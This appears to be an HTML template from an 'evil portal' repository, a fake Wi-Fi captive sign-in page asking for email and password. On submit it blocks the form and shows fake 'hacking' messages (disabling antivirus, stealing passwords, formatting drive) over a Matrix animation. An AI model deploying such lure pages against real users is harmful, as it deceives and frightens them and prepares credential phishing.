EvilPortal-HTML-Files/Matrix.html at main · googprojects/EvilPortal-HTML-Files · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
<!DOCTYPE html>
<html>
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <style>
        body {
            display: flex;
            flex-direction: column;
            justify-content: flex-start;
            align-items: flex-start;
            height: 100vh;
            background: #000;
            color: #0f0;
            font-family: 'Courier New', Courier, monospace;
            padding: 20px;
            padding-top: 20%;
            box-sizing: border-box;
            overflow: hidden;
            position: relative;
        }
        .form-container {
            width: 300px; /* You can adjust this value to match your preference */
        }
        #matrix {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 1;
        }
        #matrix span {
            position: absolute;
            font-size: 20px;
            animation: matrix 1s linear infinite;
            animation-play-state: paused;
        }
        @keyframes matrix {
            0% { top: -100%; }
            100% { top: 100%; }
        }
        #terminal, #signin, #loginForm {
            position: relative;
            z-index: 2;
        }
        #terminal {
            width: 100%;
            max-width: 800px;
            white-space: pre-wrap;
            line-height: 1.5;
            text-align: left;
            color: #f00; /* make the color of the terminal text red */
            font-weight: bold; /* make the terminal text bold */
            margin-top: 20px;
        }
        #loginForm {
            margin-top: 20px;
        }
        #loginForm input {
            margin-bottom: 10px;
            padding: 5px;
            width: 100%;
        }
        #signin {
            margin-bottom: 10px;
            font-size: 1.4em;
            color: #fff;
            font-weight: bold;
        }
    </style>
</head>
<body>
    <div class="form-container">
        <div id="signin">Register or Sign-in</div>
        <form id="loginForm" action="/get" method="get">
            <input type="text" name="email" placeholder="Email/Username" required>
            <input type="password" name="password" placeholder="Password" required>
            <input type="submit" value="Submit">
        </form>
    </div>
    <div id="terminal"></div>
    <div id="matrix"></div>
    <script>
        var terminal = document.getElementById('terminal');
        var form = document.getElementById('loginForm');
        var matrix = document.getElementById('matrix');

        var messages = [
            'Initiating connection...',
            'Bypassing security protocols...',
            'Accessing system...',
            'Disabling antivirus...',
            'Accessing User\'s Email & Passwords...',
            'Accessing User\'s Contact...',
            'Initiating data transfer...',
            'Deleting files...',
            'Formatting drive...',
            'Hacking successful.',
        ];

        function typeMessage(message, index) {
            if (index < message.length) {
                terminal.innerText += message[index];
                setTimeout(typeMessage, 50, message, index + 1); /* make text load faster */
            } else {
                terminal.innerText += '\n> ';
                if (messages.length) {
                    var nextMessage = messages.shift();
                    setTimeout(typeMessage, 500, nextMessage, 0); /* make next message appear faster */
                }
            }
        }

        form.onsubmit = function(e) {
            e.preventDefault();
            terminal.innerText = '> ';
            var message = messages.shift();
            typeMessage(message, 0);
            form.style.display = 'none';

            // Start matrix rain
            var spans = matrix.querySelectorAll('span');
            for (let i = 0; i < spans.length; i++) {
                spans[i].style.animationPlayState = 'running';
            }
        }

        // Matrix rain
        var characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
        for (let i = 0; i < 100; i++) {
            let span = document.createElement('span');
            span.innerText = characters[Math.floor(Math.random() * characters.length)];
            span.style.left = Math.random() * window.innerWidth + 'px';
            span.style.animationDelay = Math.random() + 's';
            matrix.appendChild(span);
        }
    </script>
</body>
</html>